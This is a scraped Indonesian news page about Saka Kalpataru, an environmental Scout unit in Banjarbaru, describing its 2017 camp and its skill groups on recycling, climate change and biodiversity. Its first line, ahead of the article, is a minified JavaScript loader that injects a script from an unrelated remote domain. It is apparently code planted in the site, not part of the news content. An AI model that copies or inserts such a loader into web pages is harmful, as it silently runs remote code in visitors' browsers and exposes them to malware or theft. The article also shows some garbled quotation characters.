(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Saka Kalpataru, demikian namanya. Adalah salah satu Satuan Karya di Gerakan Pramuka yang khusus bergerak dalam cinta lingkungan hidup. Saka yang dibentuk atas kerjasama antara Kwartir Nasional Gerakan Pramuka dengan Kementerian Lingkungan Hidup ini menekankan pada isu lingkungan, baik dari pengelolaan sampah, perubahan iklim dan konservasi keanekaragaman hayati.
Anggota Saka Kalpataru, Rizalu Mustaqim mengatakan, tugas dari saka ini terutama mensosialisasikan pada masyarakat agar jangan merusak alam di sekitarnya. ”Saka Kalpataru ini merupakan salah satu Satuan Karya Pramuka yang khusus bergerak dalam cinta lingkungan hidup. Juga membentuk generasi muda yang ramah pada lingkungan, tidak tergerus arus modernisasi,” ucapnya.
Dia mengatakan, saat ini banyak generasi muda yang ‘terpenjara’ oleh kemajuan teknologi seperti gadget dan smartphone. Mereka terlalu asyik dan tenggelam dalam dunia maya, sehingga masa bodoh akan lingkungan di sekitarnya.
“Salah satu gerakan nyata yang akan kami lakukan kedepannya adalah turun langsung melakukan penghijauan ke sekolah-sekolah,†terangnya.
Baru-baru ini, Saka Kalpataru yang baru saja dibentuk di Kalimantan Selatan, mengadakan perkemahan di Darul Hijrah Cindai Alus tanggal 22-24 September 2017 lalu. Tujuannya adalah untuk mengenalkan saka ini. Homebase Saka Kalpataru terletak di Kwarcab Banjarbaru, dekat dengan Lapangan Sepakbola H. Idak Banjarbaru.
Para anggota Saka Kalpataru yang merupakan pramuka golongan Penegak dan Pandega (usia 16-25 tahun). Mereka diberikan bekal pengetahuan dan keterampilan khusus terkait isu lingkungan, pengelolaan sampah, perubahan iklim dan konservasi keanekaragaman hayati. “Tentunya di samping keterampilan dan pengetahuan tentang kepramukaan pada umumnya,†tambahnya.
Sebagaimana layaknya Satuan Karya Pramuka lainnya, para anggota akan dikelompokkan dalam krida-krida yang mengkhususkan pada materi tertentu. Setiap Krida memiliki Syarat Kecakapan Khusus (SKK) untuk memperoleh Tanda Kecakapan Khusus Kelompok Kesatuan karyaan.
Krida 3R (Reuse, Reduce, Recycle) dengan tiga SKK yaitu SKK Komposting, SKK Daur Ulang dan SKK Bank Sampah. Krida Perubahan Iklim dengan tiga SKK yaitu SKK Hemat Air, SKK Hemat Energi Listrik. dan SKK Transportasi Hijau. Dan, Krida Konservasi Keanekaragaman Hayati dengan tiga SKK yaitu SKK Pelestarian Sumber Daya Genetik, SKK Pelestarian Ekosistem dan SKK Jasa Lingkungan.***
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
This website uses cookies.